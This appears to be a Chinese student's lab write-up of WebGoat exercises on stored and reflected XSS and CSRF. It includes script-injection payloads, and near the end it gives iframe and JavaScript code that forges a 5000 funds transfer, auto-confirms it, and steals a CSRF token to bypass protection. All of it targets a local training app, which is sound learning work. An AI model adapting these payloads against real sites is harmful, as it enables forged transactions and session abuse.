1. 程式人生 > >WebGoat實驗-XSS(跨站指令碼攻擊)

WebGoat實驗-XSS(跨站指令碼攻擊)

信安實驗,安排在WebGoat上面的XSS實驗。簡單記錄一下實驗過程。

Stage 1: Stored XSS(儲存XSS攻擊)

實驗內容:主要是使用者“Tom”(攻擊者)在自己的個人資料中添加了惡意程式碼(比如最簡單的<script>alert('121212');</script>),然後儲存。在被攻擊者“Jerry”檢視Tom的資料的時候,會執行Tom寫的惡意程式碼。

步驟:

首先Tom登入,在自己資料(ViewProfile)的任意地方新增程式碼:<script>alert('121212');</script>,如圖1:


圖·1

如果實驗成功,在儲存資料的時候,會彈出框,則證明成功,如圖2。但是不知道為什麼我成功了卻不現實成功。

2

Stage 2、4、6,需要開發版的,我暫時沒裝,所以暫時不能做。

Stage 3:因為Stage 2不能做,因此Stage 3其實做不做都一樣。步驟如Stage 1。

Stage 5: Reflected XSS

前面幾個,都是在個人資料中新增惡意程式碼,然後別人在檢視的時候,就可以執行惡意程式碼。而在Stage 5中,是你在搜尋的時候,本來應該輸入使用者名稱(例如Tom),但是現在你直接輸入一段程式碼(例如<script>alert('123')</script>),點選搜尋就會彈出提示框。如圖3、4。


圖3


圖4

Stored XSS Attacks

 

實驗內容:實驗中,使用者在輸入永久儲存的資訊(message)的時候,如果輸入的是一些指令、程式碼,在檢視詳情的時候,就不是展示內容,而是執行指令、程式碼。

步驟:輸入title:test3,輸入message時,輸入一堆程式碼(例如:<script>alert('111')</script>):如圖:

圖5


圖6

Reflected XSS Attacks

實驗內容:在這次實驗中,我們在輸入框中輸入一些程式碼,而瀏覽器又不會對使用者輸入做格式驗證,因此就會導致瀏覽器執行非法程式碼,進而能完成一些不好的事情。

步驟:在Enter your three digit access code:

輸入程式碼<script>alert('Bang!')</script>,點選Purchase,會執行程式碼。如下圖:

7


圖8

Cross Site Request Forgery (CSRF)

實驗內容:在被攻擊者開啟一個網頁(攻擊者修改過)的時候,載入頁面的時候,會自動向後臺發請求。

步驟:按圖9輸入內容。解釋一下:<image>標籤在載入的時候,會自動請求src中的url,因此,可以修改url值,攜帶引數,達到攻擊的目的。

圖9

CSRF Prompt By-Pass

實驗內容:title輸入test,message輸入下面程式碼:

<iframe
	src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000"
	id="myFrame" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"
	onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
	id="frame2" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300">
</iframe>
解釋一下上面程式碼:第一個iframe(id=myFrame),頁面在載入這個frame時,發請求:
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000
,該請求完成了轉賬5000的請求。

而執行onload(載入ifram2)時,自動訪問網址:

http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
,程式碼的作用就是顯示一個確認按鈕,來確認轉賬成功。

CSRF Token By-Pass

實驗內容:引誘使用者點選某個網站時,偷得token,然後繼續發請求。

<iframe	src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=main"
	onload="readFrame1();"
	id="frame1" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"></iframe>

<script>
var tokensuffix;

function readFrame1()
{
    var frameDoc = document.getElementById("frame1").contentDocument;
    var form = frameDoc.getElementsByTagName("form")[0];
    tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
    
    loadFrame2();
}

function loadFrame2()
{
    var testFrame = document.getElementById("frame2");
    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=5000" + tokensuffix;
}
</script>

頁面在載入第一個iframe時,會自動傳送一個請求,然後在readFrame1()就可以獲取到後臺傳送來的token。然後在loadFrame2()拼接連結,把token拼接進去,這樣就可以訪問一些需要token的頁面。

最後幾條寫的頭疼,簡單寫寫,比較潦草。有疑問留言吧。。sorry。